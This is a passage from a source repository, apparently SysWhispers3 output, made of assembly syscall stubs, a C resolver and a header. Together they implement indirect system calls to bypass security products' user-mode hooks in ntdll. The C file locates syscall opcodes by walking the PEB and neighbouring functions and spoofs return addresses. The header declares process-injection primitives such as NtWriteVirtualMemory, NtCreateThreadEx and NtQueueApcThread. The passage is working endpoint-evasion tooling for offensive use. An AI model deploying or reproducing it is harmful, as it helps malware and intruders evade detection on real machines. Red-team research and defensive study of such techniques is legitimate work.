rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 01D8F0903h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 01D8F0903h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtProtectVirtualMemory ENDP NtFreeVirtualMemory PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 03DA10713h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 03DA10713h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtFreeVirtualMemory ENDP NtQuerySystemInformation PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0148A1E1Fh ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0148A1E1Fh ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtQuerySystemInformation ENDP NtQueryDirectoryFile PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0A0B4CE7Ch ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0A0B4CE7Ch ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtQueryDirectoryFile ENDP NtQueryInformationFile PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 05A3A34BEh ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 05A3A34BEh ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtQueryInformationFile ENDP NtQueryInformationProcess PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0C541D0C0h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0C541D0C0h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtQueryInformationProcess ENDP NtQueryInformationThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0B48FBE21h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0B48FBE21h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtQueryInformationThread ENDP NtCreateSection PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 01E971E05h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 01E971E05h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtCreateSection ENDP NtOpenSection PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0CE38D0D5h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0CE38D0D5h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtOpenSection ENDP NtMapViewOfSection PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 008972E47h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 008972E47h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtMapViewOfSection ENDP NtUnmapViewOfSection PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 0164DF406h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 0164DF406h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtUnmapViewOfSection ENDP NtAdjustPrivilegesToken PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 043DD4B40h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 043DD4B40h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtAdjustPrivilegesToken ENDP NtDeviceIoControlFile PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 03F3657B2h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 03F3657B2h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtDeviceIoControlFile ENDP NtQueueApcThread PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 03E860C37h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 03E860C37h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtQueueApcThread ENDP NtWaitForMultipleObjects PROC int 3 mov [rsp +8], rcx ; Save registers. mov [rsp+16], rdx mov [rsp+24], r8 mov [rsp+32], r9 sub rsp, 28h mov ecx, 051256B89h ; Load function hash into ECX. call SW3_GetSyscallAddress ; Resolve function hash into syscall offset. mov r15, rax ; Save the address of the syscall mov ecx, 051256B89h ; Re-Load function hash into ECX (optional). call SW3_GetSyscallNumber ; Resolve function hash into syscall number. add rsp, 28h mov rcx, [rsp+8] ; Restore registers. mov rdx, [rsp+16] mov r8, [rsp+24] mov r9, [rsp+32] mov r10, rcx jmp r15 ; Jump to -> Invoke system call. NtWaitForMultipleObjects ENDP end ================================================ FILE: demo5/syscall3/syscall3/1.cpp ================================================ #include "1.h" #include #define DEBUG #define JUMPER #ifdef _M_IX86 EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) { return (PVOID)__readfsdword(0xC0); } __declspec(naked) BOOL local_is_wow64(void) { __asm { mov eax, fs: [0xc0] test eax, eax jne wow64 mov eax, 0 ret wow64 : mov eax, 1 ret } } #endif // Code below is adapted from @modexpblog. Read linked article for more details. // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams SW3_SYSCALL_LIST SW3_SyscallList; // SEARCH_AND_REPLACE #ifdef SEARCH_AND_REPLACE // THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release EXTERN void SearchAndReplace(unsigned char[], unsigned char[]); #endif DWORD SW3_HashSyscall(PCSTR FunctionName) { DWORD i = 0; DWORD Hash = SW3_SEED; while (FunctionName[i]) { WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++); Hash ^= PartialName + SW3_ROR8(Hash); } return Hash; } #ifndef JUMPER PVOID SC_Address(PVOID NtApiAddress) { return NULL; } #else PVOID SC_Address(PVOID NtApiAddress) { DWORD searchLimit = 512; PVOID SyscallAddress; #ifdef _WIN64 // If the process is 64-bit on a 64-bit OS, we need to search for syscall BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 }; ULONG distance_to_syscall = 0x12; #else // If the process is 32-bit on a 32-bit OS, we need to search for sysenter BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 }; ULONG distance_to_syscall = 0x0f; #endif #ifdef _M_IX86 // If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved if (local_is_wow64()) { #ifdef DEBUG printf("[+] Running 32-bit app on x64 (WOW64)\n"); #endif return NULL; } #endif // we don't really care if there is a 'jmp' between // NtApiAddress and the 'syscall; ret' instructions SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall); if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) { // we can use the original code for this system call :) #if defined(DEBUG) printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); #endif return SyscallAddress; } // the 'syscall; ret' intructions have not been found, // we will try to use one near it, similarly to HalosGate for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++) { // let's try with an Nt* API below our syscall SyscallAddress = SW3_RVA2VA( PVOID, NtApiAddress, distance_to_syscall + num_jumps * 0x20); if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) { #if defined(DEBUG) printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); #endif return SyscallAddress; } // let's try with an Nt* API above our syscall SyscallAddress = SW3_RVA2VA( PVOID, NtApiAddress, distance_to_syscall - num_jumps * 0x20); if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code))) { #if defined(DEBUG) printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress); #endif return SyscallAddress; } } #ifdef DEBUG printf("Syscall Opcodes not found!\n"); #endif return NULL; } #endif BOOL SW3_PopulateSyscallList() { // Return early if the list is already populated. if (SW3_SyscallList.Count) return TRUE; #ifdef _WIN64 PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60); #else PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30); #endif PSW3_PEB_LDR_DATA Ldr = Peb->Ldr; PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; PVOID DllBase = NULL; // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second // in the list, so it's safer to loop through the full list and find it. PSW3_LDR_DATA_TABLE_ENTRY LdrEntry; for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) { DllBase = LdrEntry->DllBase; PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; if (VirtualAddress == 0) continue; ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); // If this is NTDLL.dll, exit loop. PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue; if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break; } if (!ExportDirectory) return FALSE; DWORD NumberOfNames = ExportDirectory->NumberOfNames; PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); // Populate SW3_SyscallList with unsorted Zw* entries. DWORD i = 0; PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries; do { PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); // Is this a system call? if (*(USHORT*)FunctionName == 0x775a) { Entries[i].Hash = SW3_HashSyscall(FunctionName); Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address)); i++; if (i == SW3_MAX_ENTRIES) break; } } while (--NumberOfNames); // Save total number of system calls found. SW3_SyscallList.Count = i; // Sort the list by address in ascending order. for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++) { for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++) { if (Entries[j].Address > Entries[j + 1].Address) { // Swap entries. SW3_SYSCALL_ENTRY TempEntry; TempEntry.Hash = Entries[j].Hash; TempEntry.Address = Entries[j].Address; TempEntry.SyscallAddress = Entries[j].SyscallAddress; Entries[j].Hash = Entries[j + 1].Hash; Entries[j].Address = Entries[j + 1].Address; Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress; Entries[j + 1].Hash = TempEntry.Hash; Entries[j + 1].Address = TempEntry.Address; Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress; } } } return TRUE; } EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash) { // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return -1; for (DWORD i = 0; i < SW3_SyscallList.Count; i++) { if (FunctionHash == SW3_SyscallList.Entries[i].Hash) { return i; } } return -1; } EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash) { // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return NULL; for (DWORD i = 0; i < SW3_SyscallList.Count; i++) { if (FunctionHash == SW3_SyscallList.Entries[i].Hash) { return SW3_SyscallList.Entries[i].SyscallAddress; } } return NULL; } EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash) { // Ensure SW3_SyscallList is populated. if (!SW3_PopulateSyscallList()) return NULL; DWORD index = ((DWORD)rand()) % SW3_SyscallList.Count; while (FunctionHash == SW3_SyscallList.Entries[index].Hash) { // Spoofing the syscall return address index = ((DWORD)rand()) % SW3_SyscallList.Count; } return SW3_SyscallList.Entries[index].SyscallAddress; } ================================================ FILE: demo5/syscall3/syscall3/1.h ================================================ #pragma once // Code below is adapted from @modexpblog. Read linked article for more details. // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams #ifndef SW3_HEADER_H_ #define SW3_HEADER_H_ #include #define SW3_SEED 0x5339C8CB #define SW3_ROL8(v) (v << 8 | v >> 24) #define SW3_ROR8(v) (v >> 8 | v << 24) #define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v)) #define SW3_MAX_ENTRIES 500 #define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva) // Typedefs are prefixed to avoid pollution. typedef struct _SW3_SYSCALL_ENTRY { DWORD Hash; DWORD Address; PVOID SyscallAddress; } SW3_SYSCALL_ENTRY, * PSW3_SYSCALL_ENTRY; typedef struct _SW3_SYSCALL_LIST { DWORD Count; SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES]; } SW3_SYSCALL_LIST, * PSW3_SYSCALL_LIST; typedef struct _SW3_PEB_LDR_DATA { BYTE Reserved1[8]; PVOID Reserved2[3]; LIST_ENTRY InMemoryOrderModuleList; } SW3_PEB_LDR_DATA, * PSW3_PEB_LDR_DATA; typedef struct _SW3_LDR_DATA_TABLE_ENTRY { PVOID Reserved1[2]; LIST_ENTRY InMemoryOrderLinks; PVOID Reserved2[2]; PVOID DllBase; } SW3_LDR_DATA_TABLE_ENTRY, * PSW3_LDR_DATA_TABLE_ENTRY; typedef struct _SW3_PEB { BYTE Reserved1[2]; BYTE BeingDebugged; BYTE Reserved2[1]; PVOID Reserved3[2]; PSW3_PEB_LDR_DATA Ldr; } SW3_PEB, * PSW3_PEB; DWORD SW3_HashSyscall(PCSTR FunctionName); BOOL SW3_PopulateSyscallList(); EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash); EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash); EXTERN_C PVOID internal_cleancall_wow64_gate(VOID); typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, * PSYSTEM_HANDLE; typedef struct _IO_STATUS_BLOCK { union { NTSTATUS Status; VOID* Pointer; }; ULONG_PTR Information; } IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION; typedef VOID(KNORMAL_ROUTINE) ( IN PVOID NormalContext, IN PVOID SystemArgument1, IN PVOID SystemArgument2); typedef struct _PS_ATTRIBUTE { ULONG Attribute; SIZE_T Size; union { ULONG Value; PVOID ValuePtr; } u1; PSIZE_T ReturnLength; } PS_ATTRIBUTE, * PPS_ATTRIBUTE; typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, * PUNICODE_STRING; #ifndef InitializeObjectAttributes #define InitializeObjectAttributes( p, n, a, r, s ) { \ (p)->Length = sizeof( OBJECT_ATTRIBUTES ); \ (p)->RootDirectory = r; \ (p)->Attributes = a; \ (p)->ObjectName = n; \ (p)->SecurityDescriptor = s; \ (p)->SecurityQualityOfService = NULL; \ } #endif typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation = 0, SystemPerformanceInformation = 2, SystemTimeOfDayInformation = 3, SystemProcessInformation = 5, SystemProcessorPerformanceInformation = 8, SystemHandleInformation = 16, SystemInterruptInformation = 23, SystemExceptionInformation = 33, SystemRegistryQuotaInformation = 37, SystemLookasideInformation = 45, SystemCodeIntegrityInformation = 103, SystemPolicyInformation = 134, } SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS; typedef enum _PROCESSINFOCLASS { ProcessBasicInformation = 0, ProcessDebugPort = 7, ProcessWow64Information = 26, ProcessImageFileName = 27, ProcessBreakOnTermination = 29 } PROCESSINFOCLASS, * PPROCESSINFOCLASS; typedef enum _WAIT_TYPE { WaitAll = 0, WaitAny = 1 } WAIT_TYPE, * PWAIT_TYPE; typedef VOID(NTAPI* PIO_APC_ROUTINE) ( IN PVOID ApcContext, IN PIO_STATUS_BLOCK IoStatusBlock, IN ULONG Reserved); typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE; typedef enum _THREADINFOCLASS { ThreadBasicInformation, ThreadTimes, ThreadPriority, ThreadBasePriority, ThreadAffinityMask, ThreadImpersonationToken, ThreadDescriptorTableEntry, ThreadEnableAlignmentFaultFixup, ThreadEventPair_Reusable, ThreadQuerySetWin32StartAddress, ThreadZeroTlsCell, ThreadPerformanceCount, ThreadAmILastThread, ThreadIdealProcessor, ThreadPriorityBoost, ThreadSetTlsArrayAddress, ThreadIsIoPending, ThreadHideFromDebugger, ThreadBreakOnTermination, MaxThreadInfoClass } THREADINFOCLASS, * PTHREADINFOCLASS; typedef enum _SECTION_INHERIT { ViewShare = 1, ViewUnmap = 2 } SECTION_INHERIT, * PSECTION_INHERIT; typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation = 2, FileBothDirectoryInformation = 3, FileBasicInformation = 4, FileStandardInformation = 5, FileInternalInformation = 6, FileEaInformation = 7, FileAccessInformation = 8, FileNameInformation = 9, FileRenameInformation = 10, FileLinkInformation = 11, FileNamesInformation = 12, FileDispositionInformation = 13, FilePositionInformation = 14, FileFullEaInformation = 15, FileModeInformation = 16, FileAlignmentInformation = 17, FileAllInformation = 18, FileAllocationInformation = 19, FileEndOfFileInformation = 20, FileAlternateNameInformation = 21, FileStreamInformation = 22, FilePipeInformation = 23, FilePipeLocalInformation = 24, FilePipeRemoteInformation = 25, FileMailslotQueryInformation = 26, FileMailslotSetInformation = 27, FileCompressionInformation = 28, FileObjectIdInformation = 29, FileCompletionInformation = 30, FileMoveClusterInformation = 31, FileQuotaInformation = 32, FileReparsePointInformation = 33, FileNetworkOpenInformation = 34, FileAttributeTagInformation = 35, FileTrackingInformation = 36, FileIdBothDirectoryInformation = 37, FileIdFullDirectoryInformation = 38, FileValidDataLengthInformation = 39, FileShortNameInformation = 40, FileIoCompletionNotificationInformation = 41, FileIoStatusBlockRangeInformation = 42, FileIoPriorityHintInformation = 43, FileSfioReserveInformation = 44, FileSfioVolumeInformation = 45, FileHardLinkInformation = 46, FileProcessIdsUsingFileInformation = 47, FileNormalizedNameInformation = 48, FileNetworkPhysicalNameInformation = 49, FileIdGlobalTxDirectoryInformation = 50, FileIsRemoteDeviceInformation = 51, FileUnusedInformation = 52, FileNumaNodeInformation = 53, FileStandardLinkInformation = 54, FileRemoteProtocolInformation = 55, FileRenameInformationBypassAccessCheck = 56, FileLinkInformationBypassAccessCheck = 57, FileVolumeNameInformation = 58, FileIdInformation = 59, FileIdExtdDirectoryInformation = 60, FileReplaceCompletionInformation = 61, FileHardLinkFullIdInformation = 62, FileIdExtdBothDirectoryInformation = 63, FileDispositionInformationEx = 64, FileRenameInformationEx = 65, FileRenameInformationExBypassAccessCheck = 66, FileMaximumInformation = 67, } FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS; typedef struct _PS_ATTRIBUTE_LIST { SIZE_T TotalLength; PS_ATTRIBUTE Attributes[1]; } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; EXTERN_C NTSTATUS NtCreateProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, IN HANDLE SectionHandle OPTIONAL, IN HANDLE DebugPort OPTIONAL, IN HANDLE ExceptionPort OPTIONAL); EXTERN_C NTSTATUS NtCreateThreadEx( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); EXTERN_C NTSTATUS NtOpenProcess( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL); EXTERN_C NTSTATUS NtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle); EXTERN_C NTSTATUS NtTestAlert(); EXTERN_C NTSTATUS NtOpenThread( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL); EXTERN_C NTSTATUS NtSuspendProcess( IN HANDLE ProcessHandle); EXTERN_C NTSTATUS NtSuspendThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount); EXTERN_C NTSTATUS NtResumeProcess( IN HANDLE ProcessHandle); EXTERN_C NTSTATUS NtResumeThread( IN HANDLE ThreadHandle, IN OUT PULONG PreviousSuspendCount OPTIONAL); EXTERN_C NTSTATUS NtGetContextThread( IN HANDLE ThreadHandle, IN OUT PCONTEXT ThreadContext); EXTERN_C NTSTATUS NtSetContextThread( IN HANDLE ThreadHandle, IN PCONTEXT Context); EXTERN_C NTSTATUS NtClose( IN HANDLE Handle); EXTERN_C NTSTATUS NtReadVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress OPTIONAL, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT PSIZE_T NumberOfBytesRead OPTIONAL); EXTERN_C NTSTATUS NtWriteVirtualMemory( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL); EXTERN_C NTSTATUS NtAllocateVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); EXTERN_C NTSTATUS NtProtectVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); EXTERN_C NTSTATUS NtFreeVirtualMemory( IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PSIZE_T RegionSize, IN ULONG FreeType); EXTERN_C NTSTATUS NtQuerySystemInformation( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryDirectoryFile( IN HANDLE FileHandle, IN HANDLE Event OPTIONAL, IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, IN PVOID ApcContext OPTIONAL, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass, IN BOOLEAN ReturnSingleEntry, IN PUNICODE_STRING FileName OPTIONAL, IN BOOLEAN RestartScan); EXTERN_C NTSTATUS NtQueryInformationFile( IN HANDLE FileHandle, OUT PIO_STATUS_BLOCK IoStatusBlock, OUT PVOID FileInformation, IN ULONG Length, IN FILE_INFORMATION_CLASS FileInformationClass); EXTERN_C NTSTATUS NtQueryInformationProcess( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtQueryInformationThread( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT PULONG ReturnLength OPTIONAL); EXTERN_C NTSTATUS NtCreateSection( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN 